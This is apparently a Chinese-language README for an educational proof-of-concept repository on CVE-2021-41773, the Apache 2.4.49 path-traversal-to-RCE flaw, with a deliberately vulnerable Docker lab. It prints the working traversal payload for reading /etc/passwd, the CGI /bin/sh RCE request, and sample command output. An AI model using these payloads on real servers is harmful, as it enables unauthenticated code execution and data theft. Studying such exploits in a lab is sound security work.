教育研究项目。 所有测试均在隔离的 Docker 实验室中进行。请勿用于您并不拥有的任何系统。
| 字段 | 详情 |
|---|---|
| CVE 编号 | CVE-2021-41773 |
| 受影响软件 | 仅 Apache HTTP 服务器 2.4.49 |
| 漏洞类型 | 路径遍历 → 远程代码执行 |
| CVSS 评分 | 9.8(严重) |
| 披露日期 | 2021年10月 |
| 修复版本 | Apache 2.4.51 |
Apache 2.4.49 在应用访问控制规则之前,未能正确规范化 URL 编码的路径序列(%2e%2e)。这使得攻击者能够遍历到 Web 根目录之外。当 CGI 启用时,将遍历路径指向 /bin/sh 并通过 POST 请求体提供 Shell 命令,可导致未经身份验证的远程代码执行。
cve-2021-41773-poc/
├── Dockerfile # 故意存在漏洞的 Apache 2.4.49 实验容器
├── exploit.py # Python PoC — 使用原始套接字保留 %2e 编码
├── SETUP.md # 逐步实验设置指南
├── README.md # 本文件
└── report.pdf # 完整漏洞利用开发报告
docker build -t apache-vuln-2449 .
docker run -d -p 8080:80 --name vuln-apache apache-vuln-2449
python3 exploit.py
==================================================
CVE-2021-41773 PoC — 仅供实验室使用
==================================================
[+] 目标可达 — HTTP 200
[*] 路径遍历 — 读取 /etc/passwd
[*] 状态: 403
[-] 被阻止 (403) — 服务器限制生效
[*] RCE — 执行: id
[*] 状态: 200
[+] 输出:
uid=1(daemon) gid=1(daemon) groups=1(daemon)
[*] RCE — 执行: whoami
[*] 状态: 200
[+] 输出:
daemon
[*] RCE — 执行: hostname
[*] 状态: 200
[+] 输出:
e4ccca07bee7
参见 SETUP.md 获取完整设置说明和故障排除。
requests 库在发送前会将 %2e 规范化为 .,这会破坏利用(返回 400)。本 PoC 使用 原始套接字 逐字节发送 HTTP 请求,精确保留编码后的遍历序列,正如 Apache 2.4.49 需要接收的那样。
遍历载荷:
GET /.%2e/.%2e/.%2e/.%2e/etc/passwd HTTP/1.1
RCE 载荷:
POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1
...
echo Content-Type: text/plain; echo; id
Apache 在 ACL 检查前未能解码 %2e%2e,处理了请求,将其路由到 CGI,并将 POST 请求体作为 Shell 命令执行。
/ 上使用 Require all grantedAbdur Rehman Siddiqui
漏洞利用开发 — 任务 3
本仓库仅用于 教育目的。作者不对任何滥用此材料的行为负责。